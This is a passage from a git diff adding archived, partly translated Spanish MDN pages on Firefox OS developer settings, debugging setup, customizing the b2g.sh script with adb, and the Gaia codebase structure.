+<h3 id="Low-precision_transparency">Low-precision transparency</h3>
+<p>This is an additional flag for low-precision painting, which makes the low-precision content half transparent. This makes it a little more subtle and less jarring for the user.</p>
+<h3 id="Hardware_composer_(was_Enable_hardware_compositing)">Hardware composer (was Enable hardware compositing)</h3>
+<p>When enabled, this setting causes the device to use its <a href="https://source.android.com/devices/graphics.html#hwc">Hardware Composer</a> to composite visual elements (surfaces) to the screen.</p>
+<h3 id="Draw_tile_borders_(was_Layers_Draw_tile_borders)">Draw tile borders (was Layers: Draw tile borders)</h3>
+<p>This is very similar to the <a href="#Draw_layer_borders">Draw layer borders</a> option, the difference being that it also draws the borders for individual tiles as well as the borders around layers.</p>
+<h3 id="Draw_layer_borders">Draw layer borders</h3>
+<p>When this setting is enabled, a brightly colored border is added around all the different layers painted to the display — great for diagnosing layout issues.</p>
+<p><img alt="A screenshot from Firefox OS showing an opened select form with the draw layers borders option enabled, resulting in colored borders being drawn on all the different rendered layers." src="https://mdn.mozillademos.org/files/6897/paint-layers-borders.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+<h3 id="Dump_layers_tree">Dump layers tree</h3>
+<p>This option enables <code>layers.dump</code>, which causes a copy of the compositor's layer tree to be dumped to logcat on every frame composited to the screen; this is mainly useful for platform graphics performance work, rather than regular web development.</p>
+<h3 id="Cards_View_Screenshots">Cards View: Screenshots</h3>
+<p>When enabled, this specifies that app screenshots will be taken when the open apps are displayed in card view. If disabled, app icons are shown in the center of blank cards for the card view instead.</p>
+<h2 id="Window_management_settings">Window management settings</h2>
+<h3 id="Software_home_button">Software home button</h3>
+<p>Enabling this option creates a software home button that can provide the same functionality as the equivalent hardware button if it is not available. This is intended for future use on devices that are likely to not have hardware home buttons, like tablets.</p>
+<h3 id="Home_gesture">Home gesture</h3>
+<p>Enabling this option allows you to swipe upwards towards the center from outside the screen to bring up the homescreen. Again, this can provide the same functionality as the equivalent hardware button if it is not available, and is intended for future use on devices that are likely to not have hardware home buttons, like tablets.</p>
+<h3 id="Continuous_transition">Continuous transition</h3>
+<p>This setting allows you to decide whether app keyboards open immediately or continuously (with a  transition). Disabling such transition effects are useful on low end devices, when they cause performance to suffer.</p>
+<h3 id="App_transition">App transition</h3>
+<p>Turn this on and then off again and you will disable all app closing/opening transitions: all apps will now just show immediately, without the smooth animation, and keyboards will also open/close without animation. Like "Continuous transition enabled", this is meant for improving performance on low end devices, but it has more of an effect.</p>
+<h3 id="App_suspending">App suspending</h3>
+<p>If enabled, this specifies that when an app is killed in the background, it will be kept in history and reopened when you open it from homescreen/card view. If disabled, such apps are not kept in history/card view.</p>
+<h2 id="Debug_settings">Debug settings</h2>
+<h3 id="Log_slow_animations">Log slow animations</h3>
+<p>This tool tries to help developers understand why animations are not offloaded to the compositor to be run efficiently as possible. It reports "bugs" like trying to animate elements that are too large, or trying to animate CSS properties that can't be offloaded. The messages you'll get on the device will look like the following:</p>
+<pre>I/Gecko   ( 5644): Performance warning: Async animation disabled because frame size (1280, 410) is bigger than the viewport (360, 518) [div with id 'views']
+</pre>
+<h3 id="Geolocation_output_in_ADB">Geolocation output in ADB</h3>
+<p>Enables logging of geolocation data to adb logcat. This helps with debugging both the GPS stack (namely we get NMEA callback) and MLS use.</p>
+<h3 id="Wi-Fi_output_in_adb">Wi-Fi output in adb</h3>
+<p>Enabling this option adds information about Wi-Fi to the adb logs (error logs from the console can be accessed using <code>adb logcat | grep "Error"</code> in the Terminal.)</p>
+<h3 id="Bluetooth_output_in_adb">Bluetooth output in adb</h3>
+<p>Enabling this option adds information about Bluetooth to the adb logs (error logs from the console can be accessed using <code>adb logcat | grep "Error"</code> in the Terminal.)</p>
+<h3 id="Console_enabled">Console enabled</h3>
+<p>When enabled, this option lets you use the <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Using_the_Remote_Web_Console" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Using_the_Remote_Web_Console">Web Console</a> in Firefox to remotely access the console output on the device; without this option enabled, the <a href="/es/docs/Web/API/Console/log" title='Vea "Mostrando texto en la consola" en la documentación de console para mas detalles.'><code>console.log()</code></a> function does nothing.</p>
+<h3 id="Gaia_debug_traces">Gaia debug traces</h3>
+<p>Enabling this directly enables DEBUG traces in Gaia; see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=881672" title="FIXED: Enabling a DUMP function for all Gaia apps">error 881672</a> for more details.</p>
+<div class="note">
+ <p><strong>Note</strong>: Unfortunately, not every app supports this mechanism to print their debug log. Instead, they control a "DEBUG" flag in code directly, so enabling this flag does NOT ensure that you'll see all debug logs.</p>
+</div>
+<h3 id="Show_accessibility_settings">Show accessibility settings</h3>
+<p>This enables the accessibility settings menu, subsequently found at <em>Settings &gt; Accessibility</em>. The options contained within the accessibility settings are as follows:</p>
+<h4 id="Screen_reader">Screen reader</h4>
+<p>Enabling this option turns on Firefox OS's screen reader. This is technology that allows a blind person to use a Firefox OS device. Currently at a very early stage, it changes the way the standard touch events work. When the screen reader is on, you must interact with the screen as follows:</p>
+<ul>
+ <li>Touch somewhere to focus that app (or whatever) and be alerted as to what it is. This is indicated both by audible speech output and a rectangle around the selected item. Double tap anywhere on the screen (two taps in rapid succession) to activate the item that has the rectangle around it.</li>
+ <li>Swipe from left to right to move sequentially through items on the screen. Items are moved through from left to right, then top to bottom, including scrolling the screen vertically if there are more items to display, and you will be alerted as to each one's name via speech output and a rectangle. Swiping right to left moves through the items in reverse order. Again, double-tap the screen to execute the currently highlighted item.</li>
+ <li>Do a swipe with two fingers — left, right, up or down — to scroll the screen in that direction. This is equivalent to swiping one finger across the screen in the given direction when the screen reader is not running. For example, a two-finger swipe left on the first home screen will flip to the second one, and a two-finger swipe upwards on a home screen or browser would cause the screne to scroll downwards to show more content.</li>
+</ul>
+<div class="note">
+ <p><strong>Note</strong>: If you have turned the screen reader on and wish to disable it again, you must navigate back to the setting via these new gestures and double-tap the checkbox once it is highlighted to turn it off again. That will restore the touch screen functionality to its default behaviour.</p>
+</div>
+<p><strong>Note</strong>: In Firefox 1.4 and above, there is a quick toggle for the screen reader. Press volume up, then down, three times (up, down, up, down, up, down). The screen reader will instruct you to perform this same action again (volume up, down, up, down, up, down) to turn it on if it is not running, or to turn it off if it is already running. If you do not want to change the current toggle state, simply do something else. That way, you can turn it on and off at will to test your web application for accessibility without having to navigate the accessibility settings menu each time.</p>
+<h4 id="Speech_volume">Speech volume</h4>
+<p>A slider that controls how loud the speech is delivered.</p>
+<h4 id="Speech_rate">Speech rate</h4>
+<p>A slider that controls how fast the speech is delivered.</p>
+<h3 id="Use_Marketplace_reviewer_certs">Use Marketplace reviewer certs</h3>
+<p>TBD</p>
+<h3 id="Shake_to_save_system_log">Shake to save system log</h3>
+<p>TBD</p>
+<h3 id="Verbose_app_permissions">Verbose app permissions</h3>
+<div class="note">
+ <p><strong>Note</strong>: Introduced with Firefox 2.1</p>
+</div>
+<p>When this is enabled, developers (and privacy enthusiasts) may modify all permissions granted to installed privileged apps, using The "App Permission" pane in the Settings app. The app sub-pages under here are updated upon enabling the setting to provide a list of each API permission is requested for in the app's manifest file, along with choices to set that permission to. For example, "Schedule Alarms" appears with choices of <em>Ask</em>, <em>Deny</em> and <em>Grant</em>. Note that some apps may be unable to deal with changed permissions. If you experience any odd behavior, consider resetting the permission or re-installing the app.</p>
+<h3 id="Launch_first_time_use">Launch first time use</h3>
+<p>The "Launch first time use" button runs the "First-Time Use" (FTU) program; this lets you go through the initial setup and tutorial process, and is useful when trying to debug that process, or if you want to re-configure your device from scratch.</p>
+<h2 id="Software_updates">Software updates</h2>
+<h3 id="Update_channel">Update channel</h3>
+<p>Enables you to specify different update channels to get software updates from when your device receives OTA updates. Options are <code>nightly</code>, <code>aurora</code> ... (others?)</p>
+<h3 id="Update_URL">Update URL</h3>
+<p>Enables you to specify different URLs from which to receive your updates.</p>
+<h2 id="Obsolete_settings">Obsolete settings</h2>
+<p>This section lists settings that are no longer provided, or no longer exist in the same state, but might still be interesting if you are running an older version of Firefox OS.</p>
+<h3 id="Accessibility">Accessibility</h3>
+<p>In versions of Firefox earlier than newer 1.4 versions, this controls the accessibility settings, as explained in the <a href="#Show_accessibility_settings">Show_accessibility_settings</a> section above.</p>
+<h3 id="Grid">Grid</h3>
+<p>The "Grid" option, when enabled, causes the Firefox OS display to be overlaid with a grid pattern to help you gauge positioning and alignment of items. For example, below we see the Browser app running with the Grid option enabled:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5071/Grid.png" style="width: 320px; height: 480px; display: block; margin: 0px auto;"></p>
+<p>The grid's heavier lines are 32 pixels apart, both horizontally and vertically.</p>
+<h3 id="Show_frames_per_second">Show frames per second</h3>
+<p>In Firefox OS versions older than newer 1.4, enabling this displays frames per second, as explained in the <a href="#Frames_per_second">Frames_per_second</a> section above.</p>
+<h3 id="Show_time_to_load">Show time to load</h3>
+<p>In Firefox OS versions older than newer 1.4, enabling this displays time to load information, as explained in the <a href="#Time_to_load">Time_to_load</a> section above.</p>
+<h3 id="Rocketbar_enabled">Rocketbar enabled</h3>
+<p>In Firefox OS versions older than newer 1.4, this option enables the new <a href="https://groups.google.com/forum/#!topic/mozilla.dev.gaia/Nlfbrq1KMP0">Firefox Rocketbar</a> on your device, which provides a useful new way to switch between apps, search, and more. When enabled, you'll find a search icon at the top left of the device, and the RocketBar can be brought up by swiping from the top left of the device towards the bottom left.</p>
+<div class="note">
+ <p><strong>Note</strong>: In newer versions of Firefox OS, Rocketbar is enabled automatically and cannot be turned off.</p>
+</div>
+<h3 id="Contacts_debugging_output_in_adb">Contacts debugging output in adb</h3>
+<p>Enabling this option adds debugging information about contacts to the adb logs (error logs from the console can be accessed using <code>adb logcat | grep "Error"</code> in the Terminal.)</p>
+<h3 id="Progressive_paint_(was_Layers_Progressive_paint)">Progressive paint (was Layers: Progressive paint)</h3>
+<p>This was introduced to help with debugging of the <a href="https://wiki.mozilla.org/Platform/GFX/APZ">Async Panning/Zoom module</a> (APZ) during its implementation. Now APZ implementation is complete, this option is deprecated, and will be removed from future versions (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1003228" title="FIXED: Remove unnecessary APZ-related settings and menu items">error 1003228</a>).</p>
+<h3 id="Displayport_Heuristics">Displayport Heuristics</h3>
+<ul>
+ <li>Default</li>
+ <li>Center displayport</li>
+ <li>Assume perfect paints</li>
+ <li>Taller displayport</li>
+ <li>Faster paints</li>
+ <li>No checkerboarding</li>
+</ul>
+<p>These options were introduced to help with debugging of the <a href="https://wiki.mozilla.org/Platform/GFX/APZ">Async Panning/Zoom module</a> (APZ) during its implementation, specifically to allow QA to experiment with different repainting heuristics to see which resulted in the least amount of checkboarding.. Now APZ implementation is complete, these options are deprecated, and will be removed from future versions (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1003228" title="FIXED: Remove unnecessary APZ-related settings and menu items">error 1003228</a>).</p>
+<h3 id="Edges_gesture">Edges gesture</h3>
+<p>Enabling this option allows you to swipe left and right from outside the screen towards the center, to navigate to the next and previous sheets (either web pages in the browser, or views inside another app.) This basically works like the browser navigator bar in Firefox, but is enabled by default in Firefox 2.1+.</p>
+<h2 id="Keyboard_layouts">Keyboard layouts</h2>
+<p>In addition to the developer-specific options listed above, Firefox OS &lt; 1.4's developer settings featured keyboard layout options. These let you toggle on and off the then-experimental Chinese input methods:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5079/InputMethods.png"></p>
+<p>As of Firefox 1.4, these options have been removed. This is because the Chinese keyboard layout implementations (zhuyin and pinyin) have now been completed.</p>
+<div class="note">
+ <p><strong>Note</strong>: For other keyboard layouts still under development, such as Japanese, we now have a build-time config to opt them in.</p>
+</div>
+<p> </p>
diff --git a/files/es/archive/b2g_os/debugging/index.html b/files/es/archive/b2g_os/debugging/index.html
new file mode 100644
index 0000000000..a06052613e
--- /dev/null
+++ b/files/es/archive/b2g_os/debugging/index.html
@@ -0,0 +1,74 @@
+---
+title: Depuración en Firefox OS
+slug: Archive/B2G_OS/Debugging
+translation_of: Archive/B2G_OS/Debugging
+---
+<p>Hay tres tipos de depuración que puedes realizar con Firefox OS. Puedes hacer <span class="short_text" id="result_box" lang="es"><span class="hps alt-edited">un nivel más elevado</span> <span class="hps">de</span> <span class="hps">depuración</span></span> <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox">ejecutando Gaia</a> (y por lo tanto muchas <a href="/en-US/Apps" title="en-US/Apps">aplicaciones web</a> compatibles con B2G) en Firefox 15 o posteriores en el escritorio, lo cual te permitirá utilizar las excelentes <a href="/en/Tools" title="en/Tools">herramientas de desarrollador</a> disponibles en Firefox que te ayudarán a depurar la IU de Gaia a la vez que tu aplicación web. Por otro lado puedes usar la <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">aplicación de escritorio dedicada a B2G</a>; o ejecutar Firefox OS en tu dispositivo móvil o en el emulador bajo el control de gdb debugger. Y hay herramientas disponibles para ti mientras ejecutes el cliente de escritorio B2G. Este artículo proporciona enlaces a información útil para todos estos métodos varios de depurar tu código de Firefox OS.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">documentacion de depuracion Firefox OS</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_Firefox_OS_apps_in_desktop_Firefox" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_Firefox_OS_apps_in_desktop_Firefox">Depuración de aplicaciones de Firefox OS en Firefox para escritorio</a></dt>
+          <dd>
+            Puedes utilizar Firefox de escritorio para depurar muchas aplicaciones web. Este artículo  te ofrece una guía de características de Firefox que te pueden venir muy bien mientras lo haces.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Setting_up" title="/en-US/docs/Mozilla/Boot_to_Gecko_/Debugging_on_Boot_to_Gecko/Setting_up">Preparándose para depurar código de Firefox OS</a></dt>
+          <dd>
+            Antes de ponerte a usar la mayoría de herramientas integradas en Firefox para depurar código funcionando bajo Firefox OS, necesitarás realizar un poquito de trabajo de configuración previo. Este artículo te explica qué.</dd>
+          <dt>
+            <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">Utilizando el depurador</a></dt>
+          <dd>
+            Puedes emplear el Depurador remoto integrado de Firefox para depurar código ejecutado bajo Firefox OS en un dispositivo usando una conexión compartida (tethering) o en el simulador de Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Using_the_Remote_Web_Console_with_Firefox_OS" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Using_the_Remote_Web_Console_with_Firefox_OS">Usando la Consola web remota con Firefox OS</a></dt>
+          <dd>
+            La característica Consola web remota incluida en Firefox te permite ver la salida de la consola en un dispositivo con Firefox OS.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_B2G_using_gdb" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_B2G_using_gdb">Depurando B2G con gdb</a></dt>
+          <dd>
+            El popular depurador gdb se puede utilizar para depurar Firefox OS y aplicaciones que estén en ejecución tanto en un dispositivo como en un emulador. Esta guía te mostrará cómo hacerlo.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_using_the_desktop_B2G_client" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Debugging_using_the_desktop_B2G_client">Depurar utilizando el cliente de escritorio B2G</a></dt>
+          <dd>
+            Hay una serie de características disponibles en el cliente de escritorio B2G que puedes utilizar para ayudarte a depurar tus aplicaciones. Aprende sobre ellas en este artículo.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/General_B2G_debugging_tips" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/General_B2G_debugging_tips">Consejos generales para la depuración con B2G</a></dt>
+          <dd>
+            <span class="short_text" id="result_box" lang="es"><span class="hps">Consejos</span> <span class="hps">de uso general aplicables a cualquier depuración</span></span> con B2G que realices.</dd>
+          <dt>
+            <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Customizing_the_b2g.sh_script" title="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Customizing_the_b2g.sh_script">Personalizando el script <code>b2g.sh</code></a></dt>
+          <dd>
+            Puedes personalizar el script <code>b2g.sh</code> para ajustar las variables del entorno y así cambiar el comportamiento de Gecko.</dd>
+          <dt>
+            <a href="https://developer.mozilla.org/en-US/docs/HTTP_Logging#Boot2Gecko_(B2G)_phones" title="https://developer.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko/Customizing_the_b2g.sh_script"><span class="short_text" id="result_box" lang="es"><span class="hps">Obtención de</span> <span class="hps">registros</span> <span class="hps">NSPR en</span></span> B2G</a></dt>
+          <dd>
+            Puedes usar los registros NSPR para grabar HTTP y otras redes.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Debugging/HTTP_logging" title="/en-US/docs/Mozilla/Debugging/HTTP_logging">R<span class="short_text" id="result_box" lang="es"><span class="hps">egistro HTTP</span></span></a></dt>
+          <dd>
+            Cómo registrar tráfico de red HTTP network para propósitos de depuración.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Ver todo...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">obten ayuda de la comunidad</h2>
+        <p>Si estás trabajando con Firefox OS, o desarrollando aplicaciones que te gustaría ejecutar en dipositivos con Firefox OS, ¡hay una serie de recursos de la comunidad que te pueden ayudar!</p>
+        <ul>
+          <li>Consulta el foro del proyecto Boot to Gecko: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> como RSS</a></li>
+</ul></li>
+          <li>Haz tu pregunta en el canal IRC de Mozilla Boot to Gecko: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Y no te olvides de la <em>netiqueta</em>...</a></span></p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/archive/b2g_os/debugging/personalizando_el_script_b2g.sh/index.html b/files/es/archive/b2g_os/debugging/personalizando_el_script_b2g.sh/index.html
new file mode 100644
index 0000000000..fb75932f44
--- /dev/null
+++ b/files/es/archive/b2g_os/debugging/personalizando_el_script_b2g.sh/index.html
@@ -0,0 +1,42 @@
+---
+title: Personalizando el script b2g.sh
+slug: Archive/B2G_OS/Debugging/Personalizando_el_script_b2g.sh
+translation_of: Archive/B2G_OS/Developing_Firefox_OS/Customizing_the_b2g.sh_script
+---
+<p></p><div class="overheadIndicator draft">
+    <p><strong>Borrador</strong><br>
+    Esta página no está completa.</p>
+
+</div><p></p>
+<p>En el teléfono, la aplicación <code><a href="/en-US/docs/Mozilla/Firefox_OS/Architecture#The_userspace_process_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Architecture#The_userspace_process_architecture">b2g</a></code> (que provee las APIs de Firefox OS entre otras cosas) se inicia a través del script <code>/system/bin/b2g.sh</code>. Se puede personalizar este script para cambiar el comportamiento de Firefox OS.</p>
+<h2 id="Establecer_variables_de_entorno">Establecer variables de entorno</h2>
+<p>Si desea establecer una variable de entorno para una ejecución simple de B2G, puede hacer lo siguiente:</p>
+<pre>adb shell stop b2g
+abd shell "export ENV_VAR=value &amp;&amp; /system/bin/b2g.sh"
+</pre>
+<p>Si desea usar las mismas variables de entorno todo el tiempo, puede editar b2g.sh, como se describe en la siguiente sección.</p>
+<h2 id="Editando_b2g.sh">Editando b2g.sh</h2>
+<p>Para depurar, usted puede desear establecer variables de entorno para conseguir inormación de registro o de otra manera afectar como se ejecuta el programa <code>b2g</code>. Puede hacer esto editando el script <code>b2g.sh</code>. No hay herramientas incluídas en el teléfono para editar este archivo en su lugar, así que necesitará copiarlo primero.</p>
+<p>Connect the phone to your computer, open a terminal window, and execute the following command to edit the script:</p>
+<pre>adb pull /system/bin/b2g.sh</pre>
+<p>Edite el script para hacer todos los cambios que desee. Por ejemplo, supongamos que desea ver alguna salida de los registros (lo que require una compliación de depuración), debería agregar algo como:</p>
+<pre>export NSPR_LOG_FILE=/data/local/tmp/mylog.txt
+export NSPR_LOG_MODULES=Layers:5
+</pre>
+<p>Y luego hacer lo siguiente para subir el script <code>b2g.sh</code> al teléfono:</p>
+<pre>adb shell stop b2g
+adb remount
+adb push b2g.sh /system/bin
+adb shell chmod 0755 /system/bin/b2g.sh
+adb shell start b2g
+</pre>
+<div class="note">
+  <p><strong>Nota:</strong> <code>/data/local/tmp</code> es el único lugar del sistema de archivos en el que pueden escribir los procesos de contenido.</p>
+</div>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">Building and installing Firefox OS</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Architecture">Firefox OS architecture overview</a></li>
+  <li><a href="/es/docs/Mozilla/Firefox_OS/Depuraci%C3%B3n" title="/en-US/docs/Mozilla/Boot_to_Gecko/Debugging_on_Boot_to_Gecko">Depuración en Firefox OS</a></li>
+</ul>
+<p> </p>
diff --git a/files/es/archive/b2g_os/debugging/setting_up/index.html b/files/es/archive/b2g_os/debugging/setting_up/index.html
new file mode 100644
index 0000000000..c223edb982
--- /dev/null
+++ b/files/es/archive/b2g_os/debugging/setting_up/index.html
@@ -0,0 +1,37 @@
+---
+title: Setting up to debug Firefox OS using Firefox developer tools
+slug: Archive/B2G_OS/Debugging/Setting_up
+translation_of: Archive/B2G_OS/Debugging/Setting_up
+---
+<div class="summary">
+ <p>Firefox OS supports the same remote debugging protocol that Firefox mobile supports on Android. This means you can use the Firefox development tools to debug Gaia applications running on a Firefox OS device or emulator. In order to debug Firefox OS running on your device or on the Firefox OS Simulator, you need to use Firefox 18 or later; in addition, there are settings that need to be changed both in your desktop browser's configuration and on your Firefox OS device or simulator.</p>
+</div>
+<div class="note">
+ <p><strong>Note</strong>: If you want to debug apps on a Firefox OS device, and you are running Firefox 1.2+, your best option is to use the <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a> instead.</p>
+</div>
+<h2 id="Firefox_desktop">Firefox desktop</h2>
+<p>You need to be sure you have a build of Firefox 18 or later in order to have remote debugging support. If you don't already have a recent copy of Firefox, download the latest <a href="http://nightly.mozilla.org/" title="http://nightly.mozilla.org/">Nightly</a> build to get access to all the latest features.</p>
+<p>Once you're running an appropriate version of Firefox on your computer, type <code>about:config</code> in the URL bar and change the value of <code>devtools.debugger.remote-enabled</code> to <code>true</code>. Then you'll need to restart Firefox to get remote debugging enabled. After restarting Firefox, the Web Developer menu will have a new option, <em>Tools &gt; Connect...</em></p>
+<h2 id="Enabling_debugging">Enabling debugging</h2>
+<p>When using the <a href="/en-US/docs/Tools/Firefox_OS_Simulator" title="Tools/Firefox OS Simulator">Firefox OS Simulator</a> (or B2G Desktop), setting up for debugging is pretty easy. You don't need to do any port forwarding like you do when debugging on a physical device. Simply open your device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> and enable <em>Remote Debugging</em>.</p>
+<div class="warning">
+ <p>Note: This no longer works on Firefox OS devices as of January 10, 2013. As of this date device builds of Firefox OS have debugging disabled. There will eventually be a way to build your own build with it re-enabled, but this doesn't exist yet. This document will be updated once that happens. In addition, the preference for turning off out-of-process support has been removed. For now, you'll need to do your debugging in the Firefox OS Simulator.</p>
+</div>
+<p>If using a real Firefox OS device, open the <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> and:</p>
+<ul>
+ <li>Turn on <em>Remote Debugging</em>.</li>
+ <li>Turn off <em>Out-of-process</em> support, until <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=797627" title="Remote Debugging Protocol needs a way to contact B2G subprocesses">error 797627</a> is fixed. Without doing so, only system scripts can be debugged.</li>
+</ul>
+<div class="note">
+ <p><strong>Note:</strong> If you flash your device, you'll need to redo these configuration changes.</p>
+</div>
+<p>Now you're ready to <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">use the debugger</a>!</p>
+<h2 id="Enabling_console_logging_on_a_Firefox_OS_device">Enabling console logging on a Firefox OS device</h2>
+<p>On production builds of Firefox OS, console logging (for example <a href="/es/docs/Web/API/Console/log" title='Vea "Mostrando texto en la consola" en la documentación de console para mas detalles.'><code>console.log()</code></a>) is disabled by default. In order to enable it, go to your device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> and enable <em>Console Enabled</em>.</p>
+<p>Note: read <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> for more details about how to use console logging on Firefox OS.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging">Debugging on Firefox OS</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">Debugger</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer settings on Firefox OS</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/developing_gaia/entendiendo_el_codigo_base_de_gaia/index.html b/files/es/archive/b2g_os/developing_gaia/entendiendo_el_codigo_base_de_gaia/index.html
new file mode 100644
index 0000000000..6c1ea3499d
--- /dev/null
+++ b/files/es/archive/b2g_os/developing_gaia/entendiendo_el_codigo_base_de_gaia/index.html
@@ -0,0 +1,104 @@
+---
+title: Entendiendo el código base de Gaia
+slug: Archive/B2G_OS/Developing_Gaia/Entendiendo_el_codigo_base_de_Gaia
+translation_of: Archive/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase
+---
+<div class="summary">
+ <p><span class="seoSummary">Before you start to make your own changes to the <a href="https://github.com/mozilla-b2g/gaia/">Gaia codebase</a>, you should understand the basics of how it is all structured, and what coding conventions are used. This article covers both of these points.</span></p>
+</div>
+<h2 id="Gaia_branches">Gaia branches</h2>
+<p>There are many different branches in the Gaia codebase, and depending on what work you are doing (or what device you have) you might not just want to download, hack and make the master branch. Here is a brief guide to the most common repos you'll likely be interested in:</p>
+<ul>
+ <li><strong>master</strong> — the latest development branch. You'll want to use this branch if you are developing (or fixing bugs on) new features, or you want to run the latest Gaia on your phone or emulator</li>
+ <li><strong>v2.1</strong>, <strong>v2.0</strong>, <strong>v1.4</strong>, etc. — feature freeze versions of Gaia 2.1, 2.0, 1.4, etc. You'll want to use these branches if you are fixing a bug in a specific Gaia version, or want to develop an app and make sure it supports a specific Gaia version (for example, you might be using the Firefox OS Building Blocks with modifications, and want to make sure your layout still works across different Gaia versions.)</li>
+ <li><strong>v1.3t</strong> — the low-memory version of Gaia, developed for running on low-memory devices such as the Tarako or Spice Fire One. If you want to develop an app for such devices, this is the branch you should work with.</li>
+</ul>
+<h2 id="Gaia_codebase_structure">Gaia codebase structure</h2>
+<p>The following section outlines all the most important parts of the Gaia codebase.</p>
+<h3 id="apps">apps/</h3>
+<p>This directory contains all of the main Gaia apps, both apps shown in the homescreen — such as calendar and camera — and underlying apps — such as system, homescreen, and keyboard.<br>
+ <br>
+ The apps work in slightly different ways, but all have a number of common features, including:</p>
+<ul>
+ <li><code>index.html</code>: the central file for each app</li>
+ <li><code>manifest.webapp</code>: the manifest file defines the app</li>
+ <li><code>locales</code>: localisation strings for that app</li>
+ <li><code>test</code>: unit and integration tests particular to that app</li>
+ <li><code>js</code>, <code>style</code>: scripts and styles for that app</li>
+ <li><code>resources</code>: images, sounds and other assets</li>
+</ul>
+<div class="note">
+ <p><strong>Note</strong>: You can find more information about the apps actually work on our <a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps">Gaia apps guide</a>.</p>
+</div>
+<h3 id="build">build/</h3>
+<p>This directory contains build scripts.</p>
+<h3 id="dev_apps">dev_apps/</h3>
+<p>This directory contains other apps that are included by customization. For example you could include custom apps that you want to include in custom builds in here.</p>
+<div class="note">
+ <p><strong>Note</strong>: For more information about Gaia customization, read our <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Market_customizations_guide">Market customizations guide</a>.</p>
+</div>
+<h3 id="keyboard">keyboard/</h3>
+<p>The keyboard directory contains keyboard dictionaries and layouts for different languages.</p>
+<h3 id="locales">locales/</h3>
